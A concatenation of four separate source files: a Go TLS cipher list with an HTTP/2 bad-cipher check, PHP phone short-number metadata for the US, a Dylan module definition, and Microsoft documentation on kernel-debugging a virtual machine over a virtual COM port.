cipher_TLS_ECDHE_ECDSA_WITH_AES_128_CCM uint16 = 0xC0AC
cipher_TLS_ECDHE_ECDSA_WITH_AES_256_CCM uint16 = 0xC0AD
cipher_TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8 uint16 = 0xC0AE
cipher_TLS_ECDHE_ECDSA_WITH_AES_256_CCM_8 uint16 = 0xC0AF
// Unassigned uint16 = 0xC0B0-FF
// Unassigned uint16 = 0xC1-CB,*
// Unassigned uint16 = 0xCC00-A7
cipher_TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 uint16 = 0xCCA8
cipher_TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 uint16 = 0xCCA9
cipher_TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256 uint16 = 0xCCAA
cipher_TLS_PSK_WITH_CHACHA20_POLY1305_SHA256 uint16 = 0xCCAB
cipher_TLS_ECDHE_PSK_WITH_CHACHA20_POLY1305_SHA256 uint16 = 0xCCAC
cipher_TLS_DHE_PSK_WITH_CHACHA20_POLY1305_SHA256 uint16 = 0xCCAD
cipher_TLS_RSA_PSK_WITH_CHACHA20_POLY1305_SHA256 uint16 = 0xCCAE
)
// isBadCipher reports whether the cipher is blacklisted by the HTTP/2 spec.
// References:
// https://tools.ietf.org/html/rfc7540#appendix-A
// Reject cipher suites from Appendix A.
// "This list includes those cipher suites that do not
// offer an ephemeral key exchange and those that are
// based on the TLS null, stream or block cipher type"
func isBadCipher(cipher uint16) bool {
switch cipher {
case cipher_TLS_NULL_WITH_NULL_NULL,
cipher_TLS_RSA_WITH_NULL_MD5,
cipher_TLS_RSA_WITH_NULL_SHA,
cipher_TLS_RSA_EXPORT_WITH_RC4_40_MD5,
cipher_TLS_RSA_WITH_RC4_128_MD5,
cipher_TLS_RSA_WITH_RC4_128_SHA,
cipher_TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5,
cipher_TLS_RSA_WITH_IDEA_CBC_SHA,
cipher_TLS_RSA_EXPORT_WITH_DES40_CBC_SHA,
cipher_TLS_RSA_WITH_DES_CBC_SHA,
cipher_TLS_RSA_WITH_3DES_EDE_CBC_SHA,
cipher_TLS_DH_DSS_EXPORT_WITH_DES40_CBC_SHA,
cipher_TLS_DH_DSS_WITH_DES_CBC_SHA,
cipher_TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA,
cipher_TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA,
cipher_TLS_DH_RSA_WITH_DES_CBC_SHA,
cipher_TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA,
cipher_TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA,
cipher_TLS_DHE_DSS_WITH_DES_CBC_SHA,
cipher_TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA,
cipher_TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA,
cipher_TLS_DHE_RSA_WITH_DES_CBC_SHA,
cipher_TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA,
cipher_TLS_DH_anon_EXPORT_WITH_RC4_40_MD5,
cipher_TLS_DH_anon_WITH_RC4_128_MD5,
cipher_TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA,
cipher_TLS_DH_anon_WITH_DES_CBC_SHA,
cipher_TLS_DH_anon_WITH_3DES_EDE_CBC_SHA,
cipher_TLS_KRB5_WITH_DES_CBC_SHA,
cipher_TLS_KRB5_WITH_3DES_EDE_CBC_SHA,
cipher_TLS_KRB5_WITH_RC4_128_SHA,
cipher_TLS_KRB5_WITH_IDEA_CBC_SHA,
cipher_TLS_KRB5_WITH_DES_CBC_MD5,
cipher_TLS_KRB5_WITH_3DES_EDE_CBC_MD5,
cipher_TLS_KRB5_WITH_RC4_128_MD5,
cipher_TLS_KRB5_WITH_IDEA_CBC_MD5,
cipher_TLS_KRB5_EXPORT_WITH_DES_CBC_40_SHA,
cipher_TLS_KRB5_EXPORT_WITH_RC2_CBC_40_SHA,
cipher_TLS_KRB5_EXPORT_WITH_RC4_40_SHA,
cipher_TLS_KRB5_EXPORT_WITH_DES_CBC_40_MD5,
cipher_TLS_KRB5_EXPORT_WITH_RC2_CBC_40_MD5,
cipher_TLS_KRB5_EXPORT_WITH_RC4_40_MD5,
cipher_TLS_PSK_WITH_NULL_SHA,
cipher_TLS_DHE_PSK_WITH_NULL_SHA,
cipher_TLS_RSA_PSK_WITH_NULL_SHA,
cipher_TLS_RSA_WITH_AES_128_CBC_SHA,
cipher_TLS_DH_DSS_WITH_AES_128_CBC_SHA,
cipher_TLS_DH_RSA_WITH_AES_128_CBC_SHA,
cipher_TLS_DHE_DSS_WITH_AES_128_CBC_SHA,
cipher_TLS_DHE_RSA_WITH_AES_128_CBC_SHA,
cipher_TLS_DH_anon_WITH_AES_128_CBC_SHA,
cipher_TLS_RSA_WITH_AES_256_CBC_SHA,
cipher_TLS_DH_DSS_WITH_AES_256_CBC_SHA,
cipher_TLS_DH_RSA_WITH_AES_256_CBC_SHA,
cipher_TLS_DHE_DSS_WITH_AES_256_CBC_SHA,
cipher_TLS_DHE_RSA_WITH_AES_256_CBC_SHA,
cipher_TLS_DH_anon_WITH_AES_256_CBC_SHA,
cipher_TLS_RSA_WITH_NULL_SHA256,
cipher_TLS_RSA_WITH_AES_128_CBC_SHA256,
cipher_TLS_RSA_WITH_AES_256_CBC_SHA256,
cipher_TLS_DH_DSS_WITH_AES_128_CBC_SHA256,
cipher_TLS_DH_RSA_WITH_AES_128_CBC_SHA256,
cipher_TLS_DHE_DSS_WITH_AES_128_CBC_SHA256,
cipher_TLS_RSA_WITH_CAMELLIA_128_CBC_SHA,
cipher_TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA,
cipher_TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA,
cipher_TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA,
cipher_TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA,
cipher_TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA,
cipher_TLS_DHE_RSA_WITH_AES_128_CBC_SHA256,
cipher_TLS_DH_DSS_WITH_AES_256_CBC_SHA256,
cipher_TLS_DH_RSA_WITH_AES_256_CBC_SHA256,
cipher_TLS_DHE_DSS_WITH_AES_256_CBC_SHA256,
cipher_TLS_DHE_RSA_WITH_AES_256_CBC_SHA256,
cipher_TLS_DH_anon_WITH_AES_128_CBC_SHA256,
cipher_TLS_DH_anon_WITH_AES_256_CBC_SHA256,
cipher_TLS_RSA_WITH_CAMELLIA_256_CBC_SHA,
cipher_TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA,
cipher_TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA,
cipher_TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA,
cipher_TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA,
cipher_TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA,
cipher_TLS_PSK_WITH_RC4_128_SHA,
cipher_TLS_PSK_WITH_3DES_EDE_CBC_SHA,
cipher_TLS_PSK_WITH_AES_128_CBC_SHA,
cipher_TLS_PSK_WITH_AES_256_CBC_SHA,
cipher_TLS_DHE_PSK_WITH_RC4_128_SHA,
cipher_TLS_DHE_PSK_WITH_3DES_EDE_CBC_SHA,
cipher_TLS_DHE_PSK_WITH_AES_128_CBC_SHA,
cipher_TLS_DHE_PSK_WITH_AES_256_CBC_SHA,
cipher_TLS_RSA_PSK_WITH_RC4_128_SHA,
cipher_TLS_RSA_PSK_WITH_3DES_EDE_CBC_SHA,
cipher_TLS_RSA_PSK_WITH_AES_128_CBC_SHA,
cipher_TLS_RSA_PSK_WITH_AES_256_CBC_SHA,
cipher_TLS_RSA_WITH_SEED_CBC_SHA,
cipher_TLS_DH_DSS_WITH_SEED_CBC_SHA,
cipher_TLS_DH_RSA_WITH_SEED_CBC_SHA,
cipher_TLS_DHE_DSS_WITH_SEED_CBC_SHA,
cipher_TLS_DHE_RSA_WITH_SEED_CBC_SHA,
cipher_TLS_DH_anon_WITH_SEED_CBC_SHA,
cipher_TLS_RSA_WITH_AES_128_GCM_SHA256,
cipher_TLS_RSA_WITH_AES_256_GCM_SHA384,
cipher_TLS_DH_RSA_WITH_AES_128_GCM_SHA256,
cipher_TLS_DH_RSA_WITH_AES_256_GCM_SHA384,
cipher_TLS_DH_DSS_WITH_AES_128_GCM_SHA256,
cipher_TLS_DH_DSS_WITH_AES_256_GCM_SHA384,
cipher_TLS_DH_anon_WITH_AES_128_GCM_SHA256,
cipher_TLS_DH_anon_WITH_AES_256_GCM_SHA384,
cipher_TLS_PSK_WITH_AES_128_GCM_SHA256,
cipher_TLS_PSK_WITH_AES_256_GCM_SHA384,
cipher_TLS_RSA_PSK_WITH_AES_128_GCM_SHA256,
cipher_TLS_RSA_PSK_WITH_AES_256_GCM_SHA384,
cipher_TLS_PSK_WITH_AES_128_CBC_SHA256,
cipher_TLS_PSK_WITH_AES_256_CBC_SHA384,
cipher_TLS_PSK_WITH_NULL_SHA256,
cipher_TLS_PSK_WITH_NULL_SHA384,
cipher_TLS_DHE_PSK_WITH_AES_128_CBC_SHA256,
cipher_TLS_DHE_PSK_WITH_AES_256_CBC_SHA384,
cipher_TLS_DHE_PSK_WITH_NULL_SHA256,
cipher_TLS_DHE_PSK_WITH_NULL_SHA384,
cipher_TLS_RSA_PSK_WITH_AES_128_CBC_SHA256,
cipher_TLS_RSA_PSK_WITH_AES_256_CBC_SHA384,
cipher_TLS_RSA_PSK_WITH_NULL_SHA256,
cipher_TLS_RSA_PSK_WITH_NULL_SHA384,
cipher_TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256,
cipher_TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA256,
cipher_TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA256,
cipher_TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256,
cipher_TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256,
cipher_TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA256,
cipher_TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256,
cipher_TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA256,
cipher_TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA256,
cipher_TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256,
cipher_TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256,
cipher_TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA256,
cipher_TLS_EMPTY_RENEGOTIATION_INFO_SCSV,
cipher_TLS_ECDH_ECDSA_WITH_NULL_SHA,
cipher_TLS_ECDH_ECDSA_WITH_RC4_128_SHA,
cipher_TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA,
cipher_TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA,
cipher_TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA,
cipher_TLS_ECDHE_ECDSA_WITH_NULL_SHA,
cipher_TLS_ECDHE_ECDSA_WITH_RC4_128_SHA,
cipher_TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA,
cipher_TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA,
cipher_TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA,
cipher_TLS_ECDH_RSA_WITH_NULL_SHA,
cipher_TLS_ECDH_RSA_WITH_RC4_128_SHA,
cipher_TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA,
cipher_TLS_ECDH_RSA_WITH_AES_128_CBC_SHA,
cipher_TLS_ECDH_RSA_WITH_AES_256_CBC_SHA,
cipher_TLS_ECDHE_RSA_WITH_NULL_SHA,
cipher_TLS_ECDHE_RSA_WITH_RC4_128_SHA,
cipher_TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA,
cipher_TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,
cipher_TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,
cipher_TLS_ECDH_anon_WITH_NULL_SHA,
cipher_TLS_ECDH_anon_WITH_RC4_128_SHA,
cipher_TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA,
cipher_TLS_ECDH_anon_WITH_AES_128_CBC_SHA,
cipher_TLS_ECDH_anon_WITH_AES_256_CBC_SHA,
cipher_TLS_SRP_SHA_WITH_3DES_EDE_CBC_SHA,
cipher_TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA,
cipher_TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA,
cipher_TLS_SRP_SHA_WITH_AES_128_CBC_SHA,
cipher_TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA,
cipher_TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA,
cipher_TLS_SRP_SHA_WITH_AES_256_CBC_SHA,
cipher_TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA,
cipher_TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA,
cipher_TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256,
cipher_TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384,
cipher_TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256,
cipher_TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384,
cipher_TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256,
cipher_TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384,
cipher_TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256,
cipher_TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384,
cipher_TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256,
cipher_TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384,
cipher_TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256,
cipher_TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384,
cipher_TLS_ECDHE_PSK_WITH_RC4_128_SHA,
cipher_TLS_ECDHE_PSK_WITH_3DES_EDE_CBC_SHA,
cipher_TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA,
cipher_TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA,
cipher_TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256,
cipher_TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA384,
cipher_TLS_ECDHE_PSK_WITH_NULL_SHA,
cipher_TLS_ECDHE_PSK_WITH_NULL_SHA256,
cipher_TLS_ECDHE_PSK_WITH_NULL_SHA384,
cipher_TLS_RSA_WITH_ARIA_128_CBC_SHA256,
cipher_TLS_RSA_WITH_ARIA_256_CBC_SHA384,
cipher_TLS_DH_DSS_WITH_ARIA_128_CBC_SHA256,
cipher_TLS_DH_DSS_WITH_ARIA_256_CBC_SHA384,
cipher_TLS_DH_RSA_WITH_ARIA_128_CBC_SHA256,
cipher_TLS_DH_RSA_WITH_ARIA_256_CBC_SHA384,
cipher_TLS_DHE_DSS_WITH_ARIA_128_CBC_SHA256,
cipher_TLS_DHE_DSS_WITH_ARIA_256_CBC_SHA384,
cipher_TLS_DHE_RSA_WITH_ARIA_128_CBC_SHA256,
cipher_TLS_DHE_RSA_WITH_ARIA_256_CBC_SHA384,
cipher_TLS_DH_anon_WITH_ARIA_128_CBC_SHA256,
cipher_TLS_DH_anon_WITH_ARIA_256_CBC_SHA384,
cipher_TLS_ECDHE_ECDSA_WITH_ARIA_128_CBC_SHA256,
cipher_TLS_ECDHE_ECDSA_WITH_ARIA_256_CBC_SHA384,
cipher_TLS_ECDH_ECDSA_WITH_ARIA_128_CBC_SHA256,
cipher_TLS_ECDH_ECDSA_WITH_ARIA_256_CBC_SHA384,
cipher_TLS_ECDHE_RSA_WITH_ARIA_128_CBC_SHA256,
cipher_TLS_ECDHE_RSA_WITH_ARIA_256_CBC_SHA384,
cipher_TLS_ECDH_RSA_WITH_ARIA_128_CBC_SHA256,
cipher_TLS_ECDH_RSA_WITH_ARIA_256_CBC_SHA384,
cipher_TLS_RSA_WITH_ARIA_128_GCM_SHA256,
cipher_TLS_RSA_WITH_ARIA_256_GCM_SHA384,
cipher_TLS_DH_RSA_WITH_ARIA_128_GCM_SHA256,
cipher_TLS_DH_RSA_WITH_ARIA_256_GCM_SHA384,
cipher_TLS_DH_DSS_WITH_ARIA_128_GCM_SHA256,
cipher_TLS_DH_DSS_WITH_ARIA_256_GCM_SHA384,
cipher_TLS_DH_anon_WITH_ARIA_128_GCM_SHA256,
cipher_TLS_DH_anon_WITH_ARIA_256_GCM_SHA384,
cipher_TLS_ECDH_ECDSA_WITH_ARIA_128_GCM_SHA256,
cipher_TLS_ECDH_ECDSA_WITH_ARIA_256_GCM_SHA384,
cipher_TLS_ECDH_RSA_WITH_ARIA_128_GCM_SHA256,
cipher_TLS_ECDH_RSA_WITH_ARIA_256_GCM_SHA384,
cipher_TLS_PSK_WITH_ARIA_128_CBC_SHA256,
cipher_TLS_PSK_WITH_ARIA_256_CBC_SHA384,
cipher_TLS_DHE_PSK_WITH_ARIA_128_CBC_SHA256,
cipher_TLS_DHE_PSK_WITH_ARIA_256_CBC_SHA384,
cipher_TLS_RSA_PSK_WITH_ARIA_128_CBC_SHA256,
cipher_TLS_RSA_PSK_WITH_ARIA_256_CBC_SHA384,
cipher_TLS_PSK_WITH_ARIA_128_GCM_SHA256,
cipher_TLS_PSK_WITH_ARIA_256_GCM_SHA384,
cipher_TLS_RSA_PSK_WITH_ARIA_128_GCM_SHA256,
cipher_TLS_RSA_PSK_WITH_ARIA_256_GCM_SHA384,
cipher_TLS_ECDHE_PSK_WITH_ARIA_128_CBC_SHA256,
cipher_TLS_ECDHE_PSK_WITH_ARIA_256_CBC_SHA384,
cipher_TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256,
cipher_TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384,
cipher_TLS_ECDH_ECDSA_WITH_CAMELLIA_128_CBC_SHA256,
cipher_TLS_ECDH_ECDSA_WITH_CAMELLIA_256_CBC_SHA384,
cipher_TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256,
cipher_TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384,
cipher_TLS_ECDH_RSA_WITH_CAMELLIA_128_CBC_SHA256,
cipher_TLS_ECDH_RSA_WITH_CAMELLIA_256_CBC_SHA384,
cipher_TLS_RSA_WITH_CAMELLIA_128_GCM_SHA256,
cipher_TLS_RSA_WITH_CAMELLIA_256_GCM_SHA384,
cipher_TLS_DH_RSA_WITH_CAMELLIA_128_GCM_SHA256,
cipher_TLS_DH_RSA_WITH_CAMELLIA_256_GCM_SHA384,
cipher_TLS_DH_DSS_WITH_CAMELLIA_128_GCM_SHA256,
cipher_TLS_DH_DSS_WITH_CAMELLIA_256_GCM_SHA384,
cipher_TLS_DH_anon_WITH_CAMELLIA_128_GCM_SHA256,
cipher_TLS_DH_anon_WITH_CAMELLIA_256_GCM_SHA384,
cipher_TLS_ECDH_ECDSA_WITH_CAMELLIA_128_GCM_SHA256,
cipher_TLS_ECDH_ECDSA_WITH_CAMELLIA_256_GCM_SHA384,
cipher_TLS_ECDH_RSA_WITH_CAMELLIA_128_GCM_SHA256,
cipher_TLS_ECDH_RSA_WITH_CAMELLIA_256_GCM_SHA384,
cipher_TLS_PSK_WITH_CAMELLIA_128_GCM_SHA256,
cipher_TLS_PSK_WITH_CAMELLIA_256_GCM_SHA384,
cipher_TLS_RSA_PSK_WITH_CAMELLIA_128_GCM_SHA256,
cipher_TLS_RSA_PSK_WITH_CAMELLIA_256_GCM_SHA384,
cipher_TLS_PSK_WITH_CAMELLIA_128_CBC_SHA256,
cipher_TLS_PSK_WITH_CAMELLIA_256_CBC_SHA384,
cipher_TLS_DHE_PSK_WITH_CAMELLIA_128_CBC_SHA256,
cipher_TLS_DHE_PSK_WITH_CAMELLIA_256_CBC_SHA384,
cipher_TLS_RSA_PSK_WITH_CAMELLIA_128_CBC_SHA256,
cipher_TLS_RSA_PSK_WITH_CAMELLIA_256_CBC_SHA384,
cipher_TLS_ECDHE_PSK_WITH_CAMELLIA_128_CBC_SHA256,
cipher_TLS_ECDHE_PSK_WITH_CAMELLIA_256_CBC_SHA384,
cipher_TLS_RSA_WITH_AES_128_CCM,
cipher_TLS_RSA_WITH_AES_256_CCM,
cipher_TLS_RSA_WITH_AES_128_CCM_8,
cipher_TLS_RSA_WITH_AES_256_CCM_8,
cipher_TLS_PSK_WITH_AES_128_CCM,
cipher_TLS_PSK_WITH_AES_256_CCM,
cipher_TLS_PSK_WITH_AES_128_CCM_8,
cipher_TLS_PSK_WITH_AES_256_CCM_8:
return true
default:
return false
}
}
| {
"pile_set_name": "Github"
} |
<?php
/**
* This file has been @generated by a phing task by {@link BuildMetadataPHPFromXml}.
* See [README.md](README.md#generating-data) for more information.
*
* Pull requests changing data in these files will not be accepted. See the
* [FAQ in the README](README.md#problems-with-invalid-numbers] on how to make
* metadata changes.
*
* Do not modify this file directly!
*/
return array (
'generalDesc' =>
array (
'NationalNumberPattern' => '[1-9]\\d{2,5}',
'PossibleLength' =>
array (
0 => 3,
1 => 4,
2 => 5,
3 => 6,
),
'PossibleLengthLocalOnly' =>
array (
),
),
'tollFree' =>
array (
'NationalNumberPattern' => '611',
'ExampleNumber' => '611',
'PossibleLength' =>
array (
0 => 3,
),
'PossibleLengthLocalOnly' =>
array (
),
),
'premiumRate' =>
array (
'NationalNumberPattern' => '2(?:4280|5209|7(?:449|663))|3(?:2340|3786|5564|8(?:135|254))|4(?:1(?:366|463)|3355|6(?:157|327)|7553|8(?:221|277))|5(?:2944|4892|5928|9(?:187|342))|69388|7(?:2(?:078|087)|3(?:288|909)|6426)|8(?:6234|9616)|9(?:5297|6(?:040|835)|7(?:294|688)|9(?:689|796))',
'ExampleNumber' => '24280',
'PossibleLength' =>
array (
0 => 5,
),
'PossibleLengthLocalOnly' =>
array (
),
),
'emergency' =>
array (
'NationalNumberPattern' => '112|911',
'ExampleNumber' => '911',
'PossibleLength' =>
array (
0 => 3,
),
'PossibleLengthLocalOnly' =>
array (
),
),
'shortCode' =>
array (
'NationalNumberPattern' => '1(?:1(?:2|5[1-47]|[68]\\d|7[0-57]|98))|[2-9](?:11|\\d{3,5})',
'ExampleNumber' => '911',
'PossibleLength' =>
array (
),
'PossibleLengthLocalOnly' =>
array (
),
),
'standardRate' =>
array (
'NationalNumberPattern' => '2(?:3333|42242|56447|6688|75622|9002)|3(?:1010|2665|7404)|40404|560560|6(?:0060|22639|5246|7622)|7(?:0701|3822|4666)|8(?:38255|4816|72265)|99099',
'ExampleNumber' => '73822',
'PossibleLength' =>
array (
0 => 5,
1 => 6,
),
'PossibleLengthLocalOnly' =>
array (
),
),
'carrierSpecific' =>
array (
'NationalNumberPattern' => '[2-9]\\d{3}|33669|[2356]11',
'ExampleNumber' => '33669',
'PossibleLength' =>
array (
0 => 3,
1 => 4,
2 => 5,
),
'PossibleLengthLocalOnly' =>
array (
),
),
'smsServices' =>
array (
'NationalNumberPattern' => '[2-9]\\d{4,5}',
'ExampleNumber' => '20566',
'PossibleLength' =>
array (
0 => 5,
1 => 6,
),
'PossibleLengthLocalOnly' =>
array (
),
),
'id' => 'US',
'countryCode' => 0,
'internationalPrefix' => '',
'sameMobileAndFixedLinePattern' => false,
'numberFormat' =>
array (
),
'intlNumberFormat' =>
array (
),
'mainCountryForCode' => false,
'leadingZeroPossible' => false,
'mobileNumberPortableRegion' => false,
);
| {
"pile_set_name": "Github"
} |
module: dylan-user
Author: Neal Feinberg, Sonya E. Keene, Robert O. Mathews, P. Tucker Withington
Synopsis: The library and module definitions of the sorted sequence component.
Copyright: N Feinberg/S E Keene/R Mathews/P Tucker Withington,
DYLAN PROGRAMMING, Copyright (c) 1997-2000 Functional Objects, Inc.
Reproduced by permission of Addison-Wesley Longman
Publishing Company, Inc. All rights reserved. No further
copying, downloading or transmitting of this material
is allowed without the prior written permission of the
publisher.
define library sorted-sequence
export sorted-sequence;
use dylan;
use definitions;
end library sorted-sequence;
define module sorted-sequence
export <sorted-sequence>;
use dylan;
use definitions;
end module sorted-sequence;
| {
"pile_set_name": "Github"
} |
---
title: Setting Up Kernel-Mode Debugging of a Virtual Machine Manually using a Virtual COM Port
description: Debugging Tools for Windows supports kernel debugging of a virtual machine using a Virtual COM Port.
ms.assetid: e863e664-8338-4bbe-953b-e000a6843db9
keywords: ["virtual machine debugging", "Virtual PC debugging", "VMware debugging"]
ms.date: 04/23/2019
ms.localizationpriority: medium
---
# Setting Up Kernel-Mode Debugging of a Virtual Machine Manually using a Virtual COM Port
Debugging Tools for Windows supports kernel debugging of a virtual machine. The virtual machine can be located on the same physical computer as the debugger or on a different computer that is connected to the same network. This topic describes how to set up debugging of a virtual machine manually using a virtual COM Port via KDCOM.
Using KDNET virtual networking is a faster option and is recommended. For more information, see [Setting Up Network Debugging of a Virtual Machine with KDNET](setting-up-network-debugging-of-a-virtual-machine-host.md).
## <span id="Setting_Up_the_Target_Virtual_Machine"></span><span id="setting_up_the_target_virtual_machine"></span><span id="SETTING_UP_THE_TARGET_VIRTUAL_MACHINE"></span>Setting Up the Target Virtual Machine
The computer that runs the debugger is called the *host computer*, and the virtual machine being debugged is called the *target virtual machine*.
> [!IMPORTANT]
> Before using BCDEdit to change boot information you may need to temporarily suspend Windows security features such as BitLocker and Secure Boot on the test PC.
> Re-enable these security features when testing is complete and appropriately manage the test PC, when the security features are disabled.
1. In the virtual machine, in an elevated Command Prompt window, enter the following commands.
**bcdedit /debug on**
**bcdedit /dbgsettings serial debugport:**<em>n</em> **baudrate:115200**
where *n* is the number of a COM port on the virtual machine.
2. In the virtual machine, configure the COM port to map to a named pipe. The debugger will connect through this pipe. For more information about how to create this pipe, see your virtual machine's documentation.
3. Start the debugger in elevated mode, for example from an administrator command prompt. The debugger must be running in elevated mode when debugging a VM over a serial pipe. Once the debugger is attached and running, reboot the target VM.
## <span id="starting_the_debugger"></span><span id="STARTING_THE_DEBUGGER"></span>Starting the Debugging Session Using WinDbg
On the host computer, open WinDbg as an Administrator. The debugger must be running in elevated mode when debugging a VM over a serial pipe. On the **File** menu, choose **Kernel Debug**. In the Kernel Debugging dialog box, open the **COM** tab. Check the **Pipe** box, and check the **Reconnect** box. For **Baud Rate**, enter 115200. For **Resets**, enter 0.
If the debugger is running on the same computer as the virtual machine, enter the following for **Port**.
**\\\\.\\pipe\\**<em>PipeName</em>.
If the debugger is running on a different computer from the virtual machine, enter the following for **Port**.
**\\\\**<em>VMHost</em>**\\pipe\\**<em>PipeName</em>
Select **OK**.
You can also start WinDbg at the command line. If the debugger is running on the same physical computer as the virtual machine, enter the following command in a Command Prompt window.
**windbg -k com:pipe,port=\\\\.\\pipe\\**<em>PipeName</em>**,resets=0,reconnect**
If the debugger is running on a different physical computer from the virtual machine, enter the following command in a Command Prompt window.
**windbg -k com:pipe,port=\\\\**<em>VMHost</em>**\\pipe\\**<em>PipeName</em>**,resets=0,reconnect**
## <span id="Starting_the_Debugging_Session_Using_KD"></span><span id="starting_the_debugging_session_using_kd"></span><span id="STARTING_THE_DEBUGGING_SESSION_USING_KD"></span>Starting the Debugging Session Using KD
To debug a virtual machine that is running on the same physical computer as the debugger, enter the following command in an *elevated* Command Prompt window.
**kd -k com:pipe,port=\\\\.\\pipe\\**<em>PipeName</em>**,resets=0,reconnect**
To debug a virtual machine that is running on a different physical computer from the debugger, enter the following command in a Command Prompt window.
**kd -k com:pipe,port=\\\\**<em>VMHost</em>**\\pipe\\**<em>PipeName</em>**,resets=0,reconnect**
## <span id="Parameters"></span><span id="parameters"></span><span id="PARAMETERS"></span>Parameters
<span id="________VMHost"></span><span id="________vmhost"></span><span id="________VMHOST"></span> *VMHost*
Specifies the name of the computer that the virtual machine is running on.
<span id="PipeName_______"></span><span id="pipename_______"></span><span id="PIPENAME_______"></span>*PipeName*
Specifies the name of the pipe that you created on the virtual machine.
<span id="resets_0"></span><span id="RESETS_0"></span>**resets=0**
Specifies that an unlimited number of reset packets can be sent to the target when the host and target are synchronizing. Use the **resets=0** parameter for Microsoft Virtual PC and other virtual machines whose pipes drop excess bytes. Do not use this parameter for VMware or other virtual machines whose pipes do not drop all excess bytes.
<span id="________reconnect"></span><span id="________RECONNECT"></span> *reconnect*
Causes the debugger to automatically disconnect and reconnect the pipe if a read/write failure occurs. Additionally, if the debugger does not find the named pipe when the debugger is started, the *reconnect* parameter causes the debugger to wait for a pipe that is named *PipeName* to appear. Use *reconnect* for Virtual PC and other virtual machines that destroy and re-create their pipes during a computer restart. Do not use this parameter for VMware or other virtual machines that preserve their pipes during a computer restart.
For more information about additional command-line options, see [**KD Command-Line Options**](kd-command-line-options.md) or [**WinDbg Command-Line Options**](windbg-command-line-options.md).
## <span id="generation_2_virtual_machines"></span><span id="GENERATION_2_VIRTUAL_MACHINES"></span>Generation 2 Virtual Machines
By default, COM ports are not presented in generation 2 virtual machines. You can add COM ports through PowerShell or WMI. For the COM ports to be displayed in the Hyper-V Manager console, they must be created with a path.
To enable kernel debugging using a COM port on a generation 2 virtual machine, follow these steps:
1. Disable Secure Boot by entering this PowerShell command:
**Set-VMFirmware –Vmname** *VmName* **–EnableSecureBoot Off**
where *VmName* is the name of your virtual machine.
2. Add a COM port to the virtual machine by entering this PowerShell command:
**Set-VMComPort –VMName** *VmName* **1 \\\\.\\pipe\\**<em>PipeName</em>
For example, the following command configures the first COM port on virtual machine TestVM to connect to named pipe TestPipe on the local computer.
**Set-VMComPort –VMName TestVM 1 \\\\.\\pipe\\TestPipe**
